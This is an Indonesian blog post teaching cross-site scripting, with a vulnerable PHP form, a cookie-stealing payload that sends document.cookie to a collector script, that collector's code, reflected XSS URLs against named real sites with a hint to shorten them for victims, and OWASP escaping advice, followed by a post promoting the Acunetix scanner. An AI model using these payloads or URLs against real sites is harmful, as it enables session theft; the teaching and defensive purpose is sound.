Mengenal lebih dalam XSS (Cross Site Scripting)

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Penjelasan diatas saya ambil dari Wikipedia, jika anda masih bingung, maka hal yang terbaik adalah dengan memberikan contoh, silahkan copy code ini lalu jalankan.

<?php
session_start();
if(isset($_POST['submit']))
	echo $_POST['comment'].'<br>';
?>
<form action="comment.php" method="post"><textarea name="comment"></textarea>
<input type="submit" name="submit" value="Submit" /></form>

Standard bukan ? Baiklah sekarang coba masukkan code berikut pada comment, lalu submit

<script type="text/javascript">javascript:alert('fathihadi.net');</script>

Anda akan melihat Alert atau PopUp bukan ?(*kecuali anda mematikan javascript pada browser). Pada code awal kita sama sekali tidak memunculkan Alert, melainkan Alert ini masuk melalui User Input. Nah inilah yang disebut XSS, yaitu serangan injeksi script. Bayangkan jika facebook memiliki celah XSS seperti ini, siapapun teman anda yang iseng memasukkan script aneh ada wall post-nya, maka anda akan terganggu setiap kali membuka facebook.

Tentunya tujuan hacker mencoba serangan XSS bukan untuk mengganggu alias iseng, tapi untuk tujuan lain, yaitu mencuri session dan hal lainnya. Lalu bagaimana contohnya dengan XSS, hacker bisa mencuri session ?

Sebagai bukti, silahkan persiapkan satu file php baru, yaitu ‘get_all.php’. Pada skenario kali ini, kita akan mencuri PHPSESSID dari user yang sedang login dan mengirimkannya ke server kita

<?php
$file = 'submitted.txt';
$current = file_get_contents($file);
$current .= json_encode($_GET);
file_put_contents($file, $current);
?>

Perlu diketahui bahwa kita akan mencoba semuanya secara local, saya hanya memberikan bukti secara konsep. Dan pada serangan yang sesungguhnya, file get_all.php ini tidak akan berada di localhost, melainkan di hosting sungguhan. Sekarang mari kita coba masukkan code XSS berikut:

<script type="text/javascript">document.write('<img src="http://local.dev:8080/test/get_all.php?w=' + document.cookie + '" style="display:none;">');</script>

Code xss diatas akan membuat sebuah script img yang tidak terlihat, lalu browser akan mengirimkan session cookie ke alamat http://local.dev:8080/test/get_all.php

Berikut contoh PHPSESSID yang terkirimkan,

{"w":"PHPSESSID=3emh390v9sbp23thi2se3onr67"}

Jenis Serangan

Terdapat dua jenis serangan XSS, Persistent dan Non-Persistent. Pada contoh diatas, merupakan jenis serangan Persistent, yaitu serangan yang berupa permanen, karena script xss disimpan kedalam database atau secondary storage, dan setiap korban yang membuka halaman yang sudah terinfeksi akan terkena dampaknya juga. Sedangkan pada serangan Non-Persistent membutuhkan aktifitas social oleh si penyerang kepada calon korban, dan bersifat sementara(tidak permanen), Contohnya saya temukan pada situs Printing Office pemerintahan US.

http://www.gpo.gov/gpo/sitesearch/homedosite.action;jsessionid=gJhsRDgT5D1nG53Pv22Q2DPPv5Z29yBnZcLLYhVyFybv1Nnt6R7F!-1342791787?st=%22%3E%3Cimg%20src=%22https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E

Dan

http://google.nyu.edu/search?site=NYUWeb_Main&client=NYUWeb_Main&output=xml_no_dtd&proxyreload=1&proxystylesheet=stern_frontend&sitesearch=www.stern.nyu.edu&q=%22%3E%3Cimg+src%3D%22https%3A%2F%2Ffbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-ash4/2698_69277572409_2578789_n.jpg%22%3E&x=8&y=6

xss_us_printing

nyu_xss

Link diatas bisa dengan mudah saya pendekkan dengan menggunakan tinyurl service seperti bit.ly dan mengirimkannya kepada calon korban. Sekali lagi jangan bingung, karena contoh diatas hanya untuk pembuktian, dan Hacker bisa melakukan hal lain selain menaruh gambar.
Sekarang, bagaimana caranya kita mengetahui bahwa program yang kita tulis sudah benar-benar aman dari XSS ? Anda bisa mencobanya langsung dengan melakukan test satu persatu code XSS dari RSnake XSS cheatsheet dan HTML5 XSS cheatsheet.

Solusi

Jika anda terbiasa menggunakan htmlspecialchars(), maka sepertinya anda harus berfikir ulang, karena fungsi ‘htmlspecialchars’ tidaklah cukup untuk melakukan escaping. Menurut OWASP(Open Web Application Security Project), escaping untuk HTML seharusnya adalah sebagai berikut,

& --> &amp;
< --> &lt;
> --> &gt;
" --> &quot;
' --> &#x27;     &apos; tidak disarankan karena bukan merupakan bagian dari spesifikasi HTML (Lihat: section 24.4.1) &apos; merupakan bagian dari spesifikasi XML dan XHTML.
/ --> &#x2F;     forward slash juga harus diescape

Selain itu, tidak hanya HTML Entity saja yang harus diescape, melainkan HTML Attribute, URL, JavaScript, dan CSS Hex.

Jelas bahwa ‘htmlspecialchars’ saja tidak cukup. Saya akan membuat post lain yang khusus membahas Solusi XSS, mulai dari Escaping hingga Sanitizing.

Namun sebelum mengakhiri posting ini saya ingin menjelaskan mengenai XSS yang berada dalam File Gambar(jpg, png).

Image XSS

XSS Image yang saya maksud bukan berupa tag img pada html seperti,

<img alt="" src="javascript:alert('XSS');" />

Melainkan file Image seperti JPG, atau PNG. Anda mungkin bertanya, bagaimana mungkin file image bisa mengandung XSS?. Bisa!, anda bisa coba sendiri untuk membuka gambar apapun dengan Notepad atau HexEditor, lalu menghapus semuanya dan menggantikannya dengan XSS Code(atau ditambahkan diakhir).

hex image

hex image_after

Masalah ini sebenarnya hanya terjadi pada Internet Explorer versi 7 kebawah dan tidak dimiliki oleh Browser modern seperti Chrome dan Firefox, namun tetap kita harus menghindari masalah ini.

Berikut Tips untuk Image XSS :

  • Jangan simpan gambar pada domain yang sama dengan web, misalnya jika aplikasi web anda adalah ‘fathihadi.net’, maka simpan semua gambar di subdomain atau domain lain, misalnya ‘images.fathihadi.net’. Hal ini untuk melindungi pencurian cookie. PERHATIAN : Tips ini tidak menyelesaikan masalah !
  • Blok semua penggunaan Image. 😀 Tentunya tidak mungkin anda lakukan, jadi lupakan tips ini!
  • Gunakan Fungsi Manipulasi Gambar sebelum menyimpan gambar. Misalnya mengubah ukuran atau mengkompres Gambar. Ini merupakan cara paling ampuh.

Memang merepotkan bukan ? ini semua disebabkan oleh IE yang terlalu pintar karena mengeksekusi kode html dan javascript yang berapa dalam Image.

Semoga dengan membaca post ini anda bisa mendapatkan banyak gambaran mengenai Web Application Security. Post selanjutnya akan saya bahas solusinya secara mendalam

Acunetix – Web Vulnerability Scanner

Sekali-sekali seorang developer seperti saya bahas topik security juga ah, jangan coding terus :D. Nah dua minggu ini kebetulan ada project security jaringan di pentagon suatu tempat. Untungnya adalah saya tidak terlibat untuk network security, melainkan fokus terhadap Web Security.  Wal hasil saya menemukan sebuah produk yang sangat menarik dan “nice”, yaitu Acunetix.

Acunetix adalah software untuk men-Scan semua kelemahan Web. Menurut saya ini hampir sama dengan Ethical Hacker/White Hacker, cuma ini ya versi softwarenya bukan orang :D. Menurut Acunetix, 70% dari cyber attack adalah Web Application Attack dan hampir 70% website di dunia juga tidak aman(Wow). Sudahkah Website anda aman ?. Gunakan Acunetix untuk mendeteksinya !.

Web Application Attack berbeda dengan Network Attack, jadi sia-sia jika anda memasang Firewalls, SSL and locked-down servers untuk menangani Web Application Attack. Web Application Attack menggunakan port 80/443, langsung melewati Firewall, operating system dan network level security, serta langsung menuju jantung hati dari aplikasi dan data. Nah lalu apa saja sih yang discan oleh Acunetix ?, berikut listnya :

Web Server Configuration Checks

  • Checks for Web Servers Problems – Determines if dangerous HTTP methods are enabled on the web server (e.g. PUT, TRACE, DELETE)
  • Verify Web Server Technologies
  • Vulnerable Web Servers
  • Vulnerable Web Server Technologies – such as “PHP 4.3.0 file disclosure and possible code execution.

Parameter Manipulation Checks

File Checks

File Uploads

Directory Checks

  • Looks for Common Files (such as logs, traces, CVS)
  • Discover Sensitive Files/Directories
  • Discovers Directories with Weak Permissions
  • Cross Site Scripting in Path and PHPSESSID Session Fixation.
  • Web Applications
  • HTTP Verb Tampering

Text Search

  • Directory Listings
  • Source Code Disclosure
  • Check for Common Files
  • Check for Email Addresses
  • Microsoft Office Possible Sensitive Information
  • Local Path Disclosure
  • Error Messages
  • Trojan Shell Scripts (such as popular PHP shell scripts like r57shell, c99shell etc)

Weak Password Checks

Google Hacking Database (GHDB)

Port Scanner and Network Alerts

  • Finds All Open Ports on Servers
  • Displays Network Banner of Port
  • DNS Server Vulnerability: Open Zone Transfer
  • DNS Server Vulnerability: Open Recursion
  • DNS Server Vulnerability: Cache Poisoning
  • Finds List of Writable FTP Directories
  • FTP Anonymous Access Allowed
  • Checks for Badly Configured Proxy Servers
  • Checks for Weak SNMP Community Strings
  • Finds Weak SSL Cyphers

Bagaimana ? nice kan ?. Oleh karena itu pada jenis project seperti ini, saya menggunakan bantuan Acunetix. Karena pekerjaan saya hanya tinggal menambal semua lubang/celah keamanan. Saya memberikan jasa kepada siapa saja(perusahaan/individu) untuk menambal semua celah keamanan.

Kali ini saya akan memberikan contoh hasil scan sebuah website, yaitu http://www.cocobod.gh/

Acunetix

Acunetix

Lebih kerennya lagi, Acunetix juga memberikan penjelasan bahkan solusi untuk setiap threat.

Cross Site Scripting

Cross Site Scripting

Walaupun dengan Acunetic, kita bisa menemukan celah/lubang masalah, tentunya dibutuhkan akhi/pakar orang yang mengerti security pada web application seperti saya untuk memperbaiki celah keamanan yang telah terdeteksi.

Acunetix sudah dipercaya oleh perusahaan dan badan besar seperti Pentagon, Google, Yahoo, Joomla, HP, VeriSign, NASA, dll. Harganya-pun lumayan murah sekitar USD $5000.

Jadi intinya :rate buat Acunetix :recsel .